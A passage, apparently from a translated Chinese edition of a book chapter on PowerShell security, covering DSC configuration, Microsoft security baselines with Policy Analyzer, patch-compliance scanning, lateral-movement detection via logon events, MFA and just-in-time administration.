这在保护免受攻击特别有价值,尤其是那些危及中央管理通道的攻击,比如 GPO。通过 DSC 中的签名配置和对签名基础设施的严格控制,攻击者无法利用被攻破的通道进行大规模的勒索软件传播。

你可以通过访问以下文档页面了解更多关于 DSC 模块和配置签名的信息:learn.microsoft.com/en-us/powershell/scripting/windows-powershell/wmf/whats-new/dsc-improvements?#dsc-module-and-configuration-signing-validations

DSC 内容非常广泛,但有很多文档,包括快速入门和教程,可以帮助你开始使用:learn.microsoft.com/en-us/powershell/dsc/overview?view=dsc-1.1

DSC 2.0

DSC 2.0 支持 PowerShell 7.2 及以上版本。虽然原始的 DSC 平台是建立在 WMI 之上,但较新版本已经脱离了这个模型。

可以通过运行以下命令使用 PSGallery 进行部署:

Install-Module -Name PSDesiredStateConfiguration -Repository PSGallery -MaximumVersion 2.99

只有在使用 Azure Automanage 机器配置时,才能使用 DSC 2.0 版本。尽管Invoke-DscResource cmdlet 在此版本中仍然可用,但你应该仅用于测试目的,而应依赖于 Azure Automanage 机器配置。

修复

由于 Azure Automanage 机器配置的帮助,你不需要像 DSC 1.1 那样设置拉取服务器,因为 Azure Automanage 机器配置会为你处理这个责任。

有三种不同的机器配置分配类型可供选择:

  • Audit: 仅报告;不做任何更改。

  • ApplyAndMonitor: 一次性应用配置,但如果配置发生更改,则仅报告,不进行修复,直到手动触发。

  • ApplyAndAutoCorrect: 永久应用配置。一旦做出更改,机器将在下次评估时进行修复。

ApplyAndAutoCorrect是一个很好的选项,类似于 DSC 1.1 中的拉取配置模式;它帮助你的系统变得更安全,因为它们可以自我修复更改。

请查看以下链接了解更多关于 DSC 2.0 的信息:learn.microsoft.com/en-us/powershell/dsc/overview?view=dsc-2.0

DSC 3.0

DSC 3.0 是一个预览版本,截至 2023 年 4 月仍在开发中。

该版本支持跨平台特性,并且由 Azure Automanage 机器配置在 Azure 策略中支持。可以通过使用以下命令从 PSGallery 安装:

Install-Module -Name PSDesiredStateConfiguration -AllowPrerelease

对于 DSC 3.0,修复选项与 DSC 2.0 相同。

通过阅读官方文档,你可以了解更多关于 DSC 3.0 的信息:learn.microsoft.com/en-us/powershell/dsc/overview?view=dsc-3.0

配置

要开始使用 DSC,你需要一个 DSC 配置,并将其编译成 .mof 文件。通常,你会想要覆盖一个已经预定义为资源的场景,并根据你的用例对其进行调整;在这种情况下,你还希望在配置中包含一个预定义的资源。

DSC 资源

在创建自己的 DSC 资源之前,始终检查是否已经有适合你用例的资源;在 GitHub 或 PowerShell Gallery 上有大量现成的资源可供使用。一旦找到适合你用例的 DSC 资源,你可以使用 PowerShellGet 安装它:

> Install-Module -****Name AuditPolicyDSC

在这个示例中,AuditPolicyDSC 资源将被安装,它帮助你在 Windows 机器上配置和管理高级审核策略。

以下示例展示了一个配置,它导入 AuditPolicyDsc 资源,并使用它确保所有成功的登录事件都在将应用此配置的主机上进行审核,通过相应的高级审核策略设置:

Configuration AuditLogon
{
    Import-DscResource -ModuleName AuditPolicyDsc
    Node 'localhost'
    {
        AuditPolicySubcategory LogonSuccess
        {
            Name      = 'Logon'
            AuditFlag = 'Success'
            Ensure    = 'Present'
        }
    }
}
AuditLogon

我们必须将此代码保存为名为 AuditLogon.ps1 的文件,并将其存放在 C:\temp\ 目录下以便 dot 来源:

> . C:\temp\AuditLogon.ps1

以下截图展示了该文件如何被编译成 .****mof 文件:

图 13.3 – 将你的 DSC 配置编译成 .mof 文件

图 13.3 – 将你的 DSC 配置编译成 .mof 文件

根据你所运行的设置和 DSC 版本,现在可以使用此文件将 DSC 配置应用到你选择的系统上。更多信息请参考官方文档:

)

)

)

加强系统和环境的安全

最终,你可以根据需要加强 PowerShell 的安全性;但如果运行 PowerShell 的系统没有得到保护,攻击者一旦有机会,必定会加以利用。因此,检查如何加强你的基础设施安全同样非常重要。

安全基线

加强 Windows 系统安全的一个良好开端——无论是服务器、域控制器还是客户端——就是微软提供的所谓安全基线。这些安全基线是微软 安全合规工具包(SCT) 1.0 的一部分,可以从这里下载:www.microsoft.com/en-us/downl…

在应用安全基线时请务必小心!

你绝不应该仅仅将安全基线应用于正在运行的生产系统。在应用之前,仔细审计你的设置并进行评估。然后,制定一个计划来实施你的更改。许多设置可能会导致系统功能中断,如果没有精心规划和实施,可能会出现问题。

当你下载 SCT 时,你会看到其中有许多可以下载的文件。大多数文件实际上是基线文件(大多数基线包以Security Baseline.zip结尾)。

但也包括一些有用的工具,包括LGPOSetObjectSecurityPolicy Analyzer

  • LGPO:这个工具可以用来执行本地组策略对象(GPO)操作。你可以使用这个工具将设置导入本地组策略,导出本地组策略,解析registry.pol文件(LGPO 文本格式),从LGPO 文本构建registry.pol文件,并启用组策略客户端扩展进行本地策略处理。由于它是一个命令行工具,LGPO 可以用来自动化本地 GPO 操作。

  • SetObjectSecurity:使用SetObjectSecurity,你可以为任何类型的 Windows 可安全对象设置安全描述符——无论是文件、注册表项、事件日志等等。

  • Policy Analyzer:Policy Analyzer 是一个用于比较基线和 GPO 的工具,但不仅限于导出的 GPO——你也可以将 GPO 与本地策略进行比较。它可以突出显示策略之间的差异,并帮助你发现冗余。

这三个工具都是独立的,这意味着你无需安装它们即可使用。

你可以使用PolicyAnalyzer检查机器的当前状态。下载PolicyAnalyzer和你想要使用的安全基线,用于检查你的系统。在我们的示例中,我使用了Windows Server 2022 安全基线作为示例基线。

我们在第四章检测—审计和监控部分讨论了SCT,当时我们提到了审计建议和 EventList。在那里,我们了解到安全基线包含审计建议。但它们还包含一些系统设置建议,如 Lan Manager 认证级别(LmCompatibilityLevel),你可以用它来拒绝域中的不安全认证机制。请务必小心,在应用此设置为推荐的设置之前,审计使用的认证协议。

在你开始使用基线之前,你需要先提取它们。以下代码片段展示了如何使用 PowerShell 提取基线:

$baselineZipPath = $env:TEMP + "\baselines\Windows 11 version 22H2 Security Baseline.zip"
$baselineDirPath = $env:TEMP + "\baselines\"
if ( !( Test-Path -Path $baselineDirPath ) ) {
    New-Item -ItemType Directory -Path $baselineDirPath
}
Expand-Archive -Path $baselineZipPath -DestinationPath $baselineDirPath

$baselineZipPath 变量指向基准 ZIP 文件所在的路径,而 $baselineDirPath 变量指向应提取基准文件的文件夹。如果 $baselineDirPath 文件夹尚不存在,将会创建该文件夹。可以使用 Expand-Archive cmdlet 解压归档文件。

解压安全基准后,你会在 ZIP 文件中找到以下五个文件夹,如下图所示:

图 13.4 – 安全基准的内容

图 13.4 – 安全基准的内容

实际的基准文件位于 GPOs 文件夹中。你可以使用其中的文件在测试系统上导入基准进行测试,或者将它们添加到策略分析器中。

初次执行策略分析器时,你将看到其启动界面,如下所示:

图 13.5 – 策略分析器

图 13.5 – 策略分析器

要开始使用,点击 添加... 来添加一个新的基准进行比较。导航到所选基准的 GPOs 文件夹并选择它。由于包含了许多你不需要添加的基准文件,因此你需要通过在 策略文件导入器 视图中选择它们,然后使用键盘上的 删除 键将它们删除。

在这个例子中,我想调查一个域控制器,所以我删除了除域控制器相关基准之外的所有其他基准,如下图所示:

图 13.6 – 导入域控制器安全基准

图 13.6 – 导入域控制器安全基准

一旦所有必要的基准文件都在 策略文件导入器 视图中,点击 导入... 以导入它们。在导入之前,你将被提示输入名称并保存策略。在本示例中,我将策略命名为 2022_DC

一旦基准被导入,你可以选择添加另一个基准或导出的 GPO 来比较它们的设置(使用 查看 / 比较)。或者,你也可以将基准与当前系统的有效状态进行比较(使用 与有效状态比较):

图 13.7 – 在策略分析器中导入的 2022_DC 策略

图 13.7 – 在策略分析器中导入的 2022_DC 策略

在我们的示例中,我选择了 2022_DC 策略,并将 DC01 演示环境的域控制器与有效状态进行了比较。此时将弹出一个新窗口,你可以在其中查看所有推荐和有效的设置:如果某个设置保持白色,表示它匹配;如果某个设置标记为灰色,表示它未配置或为空;最后,如果某个设置标记为黄色,则表示存在冲突,设置不匹配:

图 13.8 – 与策略分析器比较设置

图 13.8 – 与策略分析器比较设置

通过这样做,你可以检查推荐的配置是否反映了当前的配置状态,以及如果不匹配,你需要配置什么。再强调一次——请不要在没有评估这些变化对你的环境意味着什么的情况下直接应用这些推荐。

不仅有用于域控制器的安全基准,还有用于成员服务器、客户端的基准,以及其他领域设置的基准。

也可以使用 PowerShell 与这些基准进行交互。每个基准都是一个导出的 GPO,你可以解析它。gpreport.xml文件包含了在此 GPO 中配置的每个设置。因此,如果我们将安全基准的gpreport.xml文件作为 PowerShell 对象导入,我们可以在引用 XML 语法时查询所有可用的设置。

以下的Import-Baseline函数可以帮助你完成这个任务:

function Import-Baseline {
    [cmdletbinding()]
    param (
        [Parameter(Mandatory)]
        [string]$Path
    )
    $Item  = Join-Path -Path (Get-ChildItem -Path $Path -Filter "gpreport.xml" -Recurse | Select-Object -First 1).DirectoryName -ChildPath "\gpreport.xml"
    if (Test-Path -Path $Item) {
        [xml]$Settings = Get-Content $Item
    }
    return $Settings.GPO
}

它会在指定的文件夹中递归查找第一个gpreport.xml文件,并将其设置返回为 XML 对象。

例如,如果你想访问Windows 10 22H2 – Computer基准的推荐审核设置,我们首先将其导入到$Baseline变量中,如下代码片段所示:

> $Baseline = Import-Baseline -Path "C:\baselines\Windows-10-v22H2-Security-Baseline\GPOs\{AA94F467-FC14-4789-A1C4-7F74B23184B2}"

现在,所有的 XML 节点都可以通过$Baseline变量进行查询。首先,让我们检查基准的名称,确保我们导入了正确的基准:

> $Baseline.Name
MSFT Windows 10 22H2 - Computer

接下来,我们要访问审核设置,它们位于Computer.ExtensionData.Extension.AuditSetting节点下:

> $Baseline.Computer.ExtensionData.Extension.AuditSetting

如下图所示,你可以看到每个推荐的审核设置及其值——即命令的输出:

图 13.9 – 查询基准的审核设置 XML 节点

图 13.9 – 查询基准的审核设置 XML 节点

在这里,你可以看到SettingValue,它表示是否建议审核成功1)、失败2),或是同时审核成功和失败3)。0表示明确不推荐审核该设置(即审核设置已禁用)——这是你在微软发布的安全基准中永远找不到的值。

通过此操作,你现在可以查询在这个 GPO 中配置的所有导入的 XML 节点。

另一个可以帮助你监控安全设置以确保合规性的好工具是DSCBaselineManagement模块。借助它,你可以将基准以及组策略转换为 DSC 配置脚本(.ps1)和.mof文件,并可以用这些文件来监控系统的合规性。

你可以在 GPO DSC 快速入门文档中找到更多关于如何设置的信息:learn.microsoft.com/en-us/powershell/dsc/quickstarts/gpo-quickstart

应用安全更新和补丁合规性监控

在我担任微软首席现场工程师期间,我为世界各地的公司和组织进行了大量的安全评估。那些安全评估中,最关键也最常见的问题之一就是缺少更新。信不信由你,在我评估的所有组织中,只有大约 2% 的评估中,发现所有更新都已安装。在所有其他评估中,至少缺少一个关键更新。

除了其他攻击方式,如社交工程学和滥用合法管理员权限,缺少更新是系统被攻破的常见原因:如果发布了安全更新,这意味着一个漏洞已被修复,并且关于该漏洞的知识是公开的。对手甚至可以逆向工程已发布的补丁,以了解具体修复了什么。

这意味着,一旦发布了更新,时间就是对抗的关键,对手很快就能准备好利用漏洞。如果系统缺少补丁,它很快就会变得脆弱。

因此,尽早应用安全更新。制定一个计划,在发布后尽快测试并安装更新,并正确优先处理。

仅仅安装更新是不够的——你还需要定期验证是否已安装所有所需的更新。

检查更新

许多组织使用 WSUS 和/或 SCCM 来部署和监控安全更新。尽管这是一种很好的部署方法,但仅凭此方法不足以检查所有必要的更新是否已安装。因此,如果你至今仅依赖于 WSUS 或 SSCM,你需要设置另一种机制来检查是否所有相关更新都已安装。

许多组织通常只部署 Windows 安全更新,忽略了其他产品。但全球各地的服务器上安装了许多带有 Microsoft Visual C++ 或其他程序的工具。一旦安装,这些工具就不会再进行更新,尽管存在严重漏洞,这使得基础设施暴露于对手的攻击。

对于早期的 Windows 版本,检查是否安装了所有相关更新可以通过使用Microsoft 基线安全分析工具MBSA)和WSUS 离线目录(即wsusscn2.cab)来实现。但由于 MBSA 已被弃用且不再开发,现在有新的方式可以扫描补丁合规性。

一种选择是使用 PowerShell 的Scan-UpdatesOffline.ps1脚本,该脚本可在 PowerShell Gallery 中找到:www.powershellgallery.com/packages/Scan-UpdatesOffline/1.0

你可以使用Install-Script安装该脚本:

> Install-Script -Name Scan-UpdatesOffline

在运行脚本之前,从go.microsoft.com/fwlink/?linkid=74689下载最新的wsusscn2.cab文件,并将其保存至C:\temp\wsusscn2.cab

> Invoke-WebRequest http://go.microsoft.com/fwlink/?linkid=74689 -OutFile c:\temp\wsusscn2.cab

需要注意的是,特定路径已硬编码到Scan-UpdatesOffline脚本中,因此在运行该脚本之前,确保wsusscn2.cab文件位于正确位置。

一旦一切就绪,您可以开始使用Scan-UpdatesOffline.ps1进行扫描,如下图所示:

图 13.10 – 扫描缺失的更新

图 13.10 – 扫描缺失的更新

现在,您可以使用此脚本进行定期检查,确保您的服务器和客户端安装了最新的更新。在扫描之前,请确保始终下载最新的wsusscn2.cab文件。

由于此方法仅适用于检查 Windows 和 Microsoft 产品更新,因此请确保同时维护组织内所有可用软件的清单,并监控补丁合规性。

避免横向移动

横向移动是攻击者用来深入网络、破坏终端、服务器和身份的技术。

一旦攻击者成功入侵了组织内的某个设备,他们会试图获取更多凭证和身份信息,利用这些信息横向移动并入侵整个网络。

为了检测横向移动,组织可以使用 PowerShell 监控远程登录事件日志,特别是事件 ID 4624。该事件 ID 提供了有关成功登录的信息,包括登录类型、进程和身份验证包。例如,要获取过去 7 天内所有登录类型为 3(网络登录)的事件 ID 4624,可以使用以下代码片段:

> Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624; StartTime=(Get-Date).AddDays(-7)} | Where-Object {$_.Properties[8].Value -eq 3}

登录类型 3 表示该登录尝试是通过网络进行的。例如,当用户连接到网络共享或某个计算机上运行的进程访问另一个计算机上的资源时,可能会发生此情况。

通过监控登录类型为 3 的事件,组织可以检测攻击者尝试从被攻破的系统访问网络资源的行为,这可能是网络内横向移动的早期迹象。根据您的网络情况,可以细化此示例并根据需求调整。

请参考第四章检测 – 审计与监控,了解如何利用不同的事件日志来检测恶意活动。

您应遵循以下指南,尽量避免横向移动:

  • 通过使用本地管理员密码解决方案LAPS),强制为工作站和服务器设置唯一密码

  • 为 Active Directory 管理员实施红树林Red Forest),也称为增强安全管理环境Enhanced Security Administrative Environment,ESAE

  • 实施分层模型,并让管理员使用特权访问工作站PAWs)处理管理任务

  • 限制登录并保持适当的凭证管理

  • 尽快安装更新

  • 使用如 BloodHound 或 SharpHound 等工具审计你的身份关系

当然,这不能百分百保证攻击者无法横向移动,但已经涵盖了很多内容,并且会让攻击者忙上一段时间。

提升权限的多因素认证

多因素认证MFA)总是为你的管理员账户增加了另一层安全性。当然,人们可能会被欺骗以允许身份验证,但有了 MFA,攻击者窃取并滥用身份的难度大大增加。

你可以使用很多不同的 MFA 选项。根据你的具体情况,你可以使用以下工具:

  • 智能卡认证

  • Windows Hello

  • OAuth 硬件令牌

  • OAuth 软件令牌

  • Fido2 安全密钥

  • 生物识别技术

  • 短信或语音电话

  • 一个身份验证应用程序(例如 Microsoft Authenticator)

时限性权限(即时管理)

遵循最小权限原则的一个好方法是实施时限性权限,也称为 即时管理。采用这种方法,管理员默认没有任何权限。

一旦他们请求权限提升,系统会将时间戳绑定到他们的权限上。一旦指定时间到期,权限就不再有效。

如果一个账户被攻破,攻击者无法造成任何危害,因为该账户的权限并未由管理员请求。通常,提升请求会伴随 MFA 验证。

此外,特权身份管理PIM)和 特权访问管理PAM)解决方案可用于自动化授予和撤销时限性权限的过程。这些解决方案提供了一个集中平台,用于管理和监控整个组织的特权访问。

它们还可以提供额外的安全措施,例如审批工作流、审计跟踪和会话记录,以确保问责制和合规性。实施 PIM 和 PAM 解决方案可以大大增强时限性权限的安全性,并减少对关键系统和数据的未经授权访问的风险。

攻击检测 – 端点检测与响应

另一个非常重要的点是必须有一个产品来检测攻击并做出反应。市面上有很多优秀的产品可以帮助你完成这项任务。确保你选择的产品也支持 PowerShell,并帮助你检测通过 PowerShell 和其他命令行工具发起的可疑命令。

例如,微软的解决方案称为 Microsoft Defender for Endpoint。但其他厂商也提供类似的解决方案。

启用 Microsoft Defender for Endpoint 的免费功能

即使你没有使用 Microsoft Defender for Endpoint,许多功能也可以免费使用,无需任何订阅:

  • 硬件隔离/应用保护

  • 攻击面缩减规则

  • 受控文件夹访问

  • 可移动存储保护

  • 网络保护

  • 漏洞防护

  • Windows Defender 防火墙与高级安全性

许多这些功能甚至可以在 Microsoft Defender 禁用的情况下使用。了解 ASR 功能,深入了解这些特性:learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/overview-attack-surface-reduction?view=o365-worldwide#configure-attack-surface-reduction-capabilities

总结

本章总结了关于 PowerShell 安全性的内容。它并不旨在提供深入的技术信息,而是为了概述可以采取哪些措施来提高网络安全性。通过这些内容,你可以对接下来的工作有一个清晰的了解,并知道需要查阅哪些资料。

你已获得一些有关安全脚本编写的见解,并了解了可以使用哪些工具来提高脚本的安全性。你还了解了 DSC 以及如何入门。最后,你还了解了如何加强系统的安全性。

希望你喜欢本书,并能充分利用它。祝你脚本编写愉快!

进一步阅读

如果你想深入了解本章提到的一些主题,可以查看以下资源:

LAPS

PSScriptAnalyzer

)

)

安全基准 和 SCT

安全更新

VBS

你还可以在本章的 GitHub 仓库中找到所有提到的链接,第十三章 – 无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter13/Links.md